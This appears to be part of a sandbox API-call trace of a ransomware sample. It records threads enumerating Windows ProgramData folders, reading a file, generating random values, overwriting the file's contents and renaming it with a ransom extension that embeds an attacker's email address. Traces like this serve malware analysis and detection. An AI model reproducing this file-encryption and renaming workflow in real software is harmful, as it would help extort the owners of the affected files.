	[0091.160] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", dwFileAttributes=0x20) returned 0
	[0091.161] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.db"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.161] GetLastError () returned 0x5
	[0091.161] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db", dwFileAttributes=0x20) returned 0
	[0091.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e30378) returned 1
	[0091.161] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd7110f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd7110f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.jfm", cAlternateFileName="SMSINT~1.JFM")) returned 1
	[0091.161] wcscmp (_String1="SmsInterceptStore.jfm", _String2=".") returned 1
	[0091.161] wcscmp (_String1="SmsInterceptStore.jfm", _String2="..") returned 1
	[0091.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e311b8
	[0091.161] wcscpy (in: _Dest=0x4e311b8, _Source="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore"
	[0091.161] wcscat (in: _Dest=0x4e311b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\"
	[0091.161] wcscat (in: _Dest=0x4e311b8, _Source="SmsInterceptStore.jfm" | out: _Dest="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm") returned="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm"
	[0091.161] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm")) returned 0x20
	[0091.161] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm", dwFileAttributes=0x20) returned 0
	[0091.161] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.161] GetLastError () returned 0x5
	[0091.161] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm", dwFileAttributes=0x20) returned 0
	[0091.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e311b8) returned 1
	[0091.162] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd7110f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd7110f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.jfm", cAlternateFileName="SMSINT~1.JFM")) returned 0
	[0091.162] FindClose (in: hFindFile=0x477b568 | out: hFindFile=0x477b568) returned 1
	[0091.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0091.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecd50) returned 1
	[0091.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47805d8) returned 1
	[0091.162] FindNextFileW (in: hFindFile=0x46a7210, lpFindFileData=0x2e26588 | out: lpFindFileData=0x2e26588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageStore", cAlternateFileName="MESSAG~1")) returned 0
	[0091.163] FindClose (in: hFindFile=0x46a7210 | out: hFindFile=0x46a7210) returned 1
	[0091.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e26588) returned 1
	[0091.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dab9d0) returned 1
	[0091.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8b080) returned 1

Thread:
	id = 312
	os_tid = 0x1408

	[0076.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2db0560
	[0076.851] wcscpy (in: _Dest=0x2db0560, _Source="C:\\ProgramData\\Microsoft\\Spectrum" | out: _Dest="C:\\ProgramData\\Microsoft\\Spectrum") returned="C:\\ProgramData\\Microsoft\\Spectrum"
	[0076.851] wcscat (in: _Dest=0x2db0560, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Spectrum\\") returned="C:\\ProgramData\\Microsoft\\Spectrum\\"
	[0076.851] wcscat (in: _Dest=0x2db0560, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Spectrum\\*") returned="C:\\ProgramData\\Microsoft\\Spectrum\\*"
	[0076.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e267f0
	[0076.851] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Spectrum\\*", lpFindFileData=0x2e267f0 | out: lpFindFileData=0x2e267f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d877b8
	[0079.953] wcscmp (_String1=".", _String2=".") returned 0
	[0079.953] FindNextFileW (in: hFindFile=0x2d877b8, lpFindFileData=0x2e267f0 | out: lpFindFileData=0x2e267f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.953] wcscmp (_String1="..", _String2=".") returned 1
	[0079.953] wcscmp (_String1="..", _String2="..") returned 0
	[0079.953] FindNextFileW (in: hFindFile=0x2d877b8, lpFindFileData=0x2e267f0 | out: lpFindFileData=0x2e267f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.953] FindClose (in: hFindFile=0x2d877b8 | out: hFindFile=0x2d877b8) returned 1
	[0079.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e267f0) returned 1
	[0079.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db0560) returned 1
	[0079.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8af90) returned 1

Thread:
	id = 313
	os_tid = 0x140c

	[0076.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2daea08
	[0076.852] wcscpy (in: _Dest=0x2daea08, _Source="C:\\ProgramData\\Microsoft\\Speech_OneCore" | out: _Dest="C:\\ProgramData\\Microsoft\\Speech_OneCore") returned="C:\\ProgramData\\Microsoft\\Speech_OneCore"
	[0076.852] wcscat (in: _Dest=0x2daea08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Speech_OneCore\\") returned="C:\\ProgramData\\Microsoft\\Speech_OneCore\\"
	[0076.852] wcscat (in: _Dest=0x2daea08, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Speech_OneCore\\*") returned="C:\\ProgramData\\Microsoft\\Speech_OneCore\\*"
	[0076.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e26cc0
	[0076.852] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Speech_OneCore\\*", lpFindFileData=0x2e26cc0 | out: lpFindFileData=0x2e26cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d877b8
	[0079.954] wcscmp (_String1=".", _String2=".") returned 0
	[0079.954] FindNextFileW (in: hFindFile=0x2d877b8, lpFindFileData=0x2e26cc0 | out: lpFindFileData=0x2e26cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.954] wcscmp (_String1="..", _String2=".") returned 1
	[0079.954] wcscmp (_String1="..", _String2="..") returned 0
	[0079.954] FindNextFileW (in: hFindFile=0x2d877b8, lpFindFileData=0x2e26cc0 | out: lpFindFileData=0x2e26cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.954] FindClose (in: hFindFile=0x2d877b8 | out: hFindFile=0x2d877b8) returned 1
	[0079.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e26cc0) returned 1
	[0079.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daea08) returned 1
	[0079.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85810) returned 1

Thread:
	id = 314
	os_tid = 0x1410

	[0076.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x54) returned 0x2daed08
	[0076.853] wcscpy (in: _Dest=0x2daed08, _Source="C:\\ProgramData\\Microsoft\\Storage Health" | out: _Dest="C:\\ProgramData\\Microsoft\\Storage Health") returned="C:\\ProgramData\\Microsoft\\Storage Health"
	[0076.853] wcscat (in: _Dest=0x2daed08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Storage Health\\") returned="C:\\ProgramData\\Microsoft\\Storage Health\\"
	[0076.853] wcscat (in: _Dest=0x2daed08, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Storage Health\\*") returned="C:\\ProgramData\\Microsoft\\Storage Health\\*"
	[0076.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e26f28
	[0076.853] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\*", lpFindFileData=0x2e26f28 | out: lpFindFileData=0x2e26f28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d877b8
	[0079.955] wcscmp (_String1=".", _String2=".") returned 0
	[0079.955] FindNextFileW (in: hFindFile=0x2d877b8, lpFindFileData=0x2e26f28 | out: lpFindFileData=0x2e26f28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.955] wcscmp (_String1="..", _String2=".") returned 1
	[0079.955] wcscmp (_String1="..", _String2="..") returned 0
	[0079.955] FindNextFileW (in: hFindFile=0x2d877b8, lpFindFileData=0x2e26f28 | out: lpFindFileData=0x2e26f28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4dcad0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x165f3a8f, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageEventsArchive.dat", cAlternateFileName="STORAG~1.DAT")) returned 1
	[0079.955] wcscmp (_String1="StorageEventsArchive.dat", _String2=".") returned 1
	[0079.955] wcscmp (_String1="StorageEventsArchive.dat", _String2="..") returned 1
	[0079.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e938
	[0079.956] wcscpy (in: _Dest=0x476e938, _Source="C:\\ProgramData\\Microsoft\\Storage Health" | out: _Dest="C:\\ProgramData\\Microsoft\\Storage Health") returned="C:\\ProgramData\\Microsoft\\Storage Health"
	[0079.956] wcscat (in: _Dest=0x476e938, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Storage Health\\") returned="C:\\ProgramData\\Microsoft\\Storage Health\\"
	[0079.956] wcscat (in: _Dest=0x476e938, _Source="StorageEventsArchive.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat") returned="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat"
	[0092.209] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat")) returned 0x20
	[0092.210] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat", dwFileAttributes=0x20) returned 1
	[0092.210] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" (normalized: "c:\\programdata\\microsoft\\storage health\\storageeventsarchive.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1484
	[0092.210] GetFileSizeEx (in: hFile=0x1484, lpFileSize=0xddbf7e8 | out: lpFileSize=0xddbf7e8*=6568) returned 1
	[0092.210] SetFilePointerEx (in: hFile=0x1484, liDistanceToMove=0x19a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.210] ReadFile (in: hFile=0x1484, lpBuffer=0xddbf76c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xddbf768, lpOverlapped=0x0 | out: lpBuffer=0xddbf76c*, lpNumberOfBytesRead=0xddbf768*=0x4, lpOverlapped=0x0) returned 1
	[0092.213] SetFilePointerEx (in: hFile=0x1484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b00
	[0092.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0092.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.213] NtQuerySystemTime (in: CurrentTime=0xddbf748 | out: CurrentTime=0xddbf748*=132251868189472041) returned 0x0
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xdbb3fad8
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x74c140f5
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xc75c77ff
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xde4af798
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x301e4ac0
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x93f824e0
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x37714165
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xd76c53eb
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x4e7fb765
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x6e805fb6
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x48e79341
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x276831f9
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x42dab1eb
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x6f758df1
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xf0f6fda7
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x9d466b4e
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x1c36d49d
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xd6c6153b
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x3c7218a0
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xaae9866
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x1d929b03
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xcedc29d8
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x31341208
	[0092.213] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x89b69d68
	[0092.214] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x30e451f3
	[0092.214] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x6f35b6d5
	[0092.214] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xfd6744da
	[0092.214] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x43511270
	[0092.214] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x5592a361
	[0092.214] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x7c1483d9
	[0092.214] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0x227f2c76
	[0092.214] RtlRandom (in: Seed=0xddbf754 | out: Seed=0xddbf754) returned 0xa555f085
	[0092.223] ReadFile (in: hFile=0x1484, lpBuffer=0x50e30b0, nNumberOfBytesToRead=0x19a8, lpNumberOfBytesRead=0xddbf744, lpOverlapped=0x0 | out: lpBuffer=0x50e30b0*, lpNumberOfBytesRead=0xddbf744*=0x19a8, lpOverlapped=0x0) returned 1
	[0092.304] SetFilePointerEx (in: hFile=0x1484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.304] WriteFile (in: hFile=0x1484, lpBuffer=0x50ef8b8*, nNumberOfBytesToWrite=0x19a8, lpNumberOfBytesWritten=0xddbf740, lpOverlapped=0x0 | out: lpBuffer=0x50ef8b8*, lpNumberOfBytesWritten=0xddbf740*=0x19a8, lpOverlapped=0x0) returned 1
	[0092.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984870
	[0092.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984b68
	[0092.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984b68) returned 1
	[0092.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ef8b8) returned 1
	[0092.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50e30b0) returned 1
	[0092.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0092.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0092.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3d) returned 0x2dfabf8
	[0092.314] SetFilePointerEx (in: hFile=0x1484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.314] WriteFile (in: hFile=0x1484, lpBuffer=0x2d89108*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0xddbf7a8, lpOverlapped=0x0 | out: lpBuffer=0x2d89108*, lpNumberOfBytesWritten=0xddbf7a8*=0x121, lpOverlapped=0x0) returned 1
	[0092.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89108) returned 1
	[0092.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0092.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984d20) returned 1
	[0092.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabf8) returned 1
	[0092.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984870) returned 1
	[0092.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0092.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
	[0092.325] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bc8) returned 1
	[0092.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4717da0
	[0092.325] wcscpy (in: _Dest=0x4717da0, _Source="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat") returned="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat"
	[0092.325] wcscat (in: _Dest=0x4717da0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.325] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xddbf760, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.325] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32998
	[0092.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0092.326] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12320) returned 1
	[0092.326] NtQueryInformationFile (in: FileHandle=0x1484, IoStatusBlock=0xddbf76c, FileInformation=0xddbf744, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xddbf76c, FileInformation=0xddbf744) returned 0x0
	[0092.326] NtSetInformationFile (FileHandle=0x1484, IoStatusBlock=0xddbf76c, FileInformation=0xddbf744, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.327] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717da0) returned 1
	[0092.327] FlushFileBuffers (hFile=0x1484) returned 1
	[0093.278] CloseHandle (hObject=0x1484) 

Thread:
	id = 315
	os_tid = 0x1414

	[0076.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73c00
	[0076.854] wcscpy (in: _Dest=0x2d73c00, _Source="C:\\ProgramData\\Microsoft\\UEV" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV") returned="C:\\ProgramData\\Microsoft\\UEV"
	[0076.854] wcscat (in: _Dest=0x2d73c00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\") returned="C:\\ProgramData\\Microsoft\\UEV\\"
	[0076.854] wcscat (in: _Dest=0x2d73c00, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\UEV\\*") returned="C:\\ProgramData\\Microsoft\\UEV\\*"
	[0076.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e27190
	[0076.854] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\*", lpFindFileData=0x2e27190 | out: lpFindFileData=0x2e27190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d877f8
	[0079.956] wcscmp (_String1=".", _String2=".") returned 0
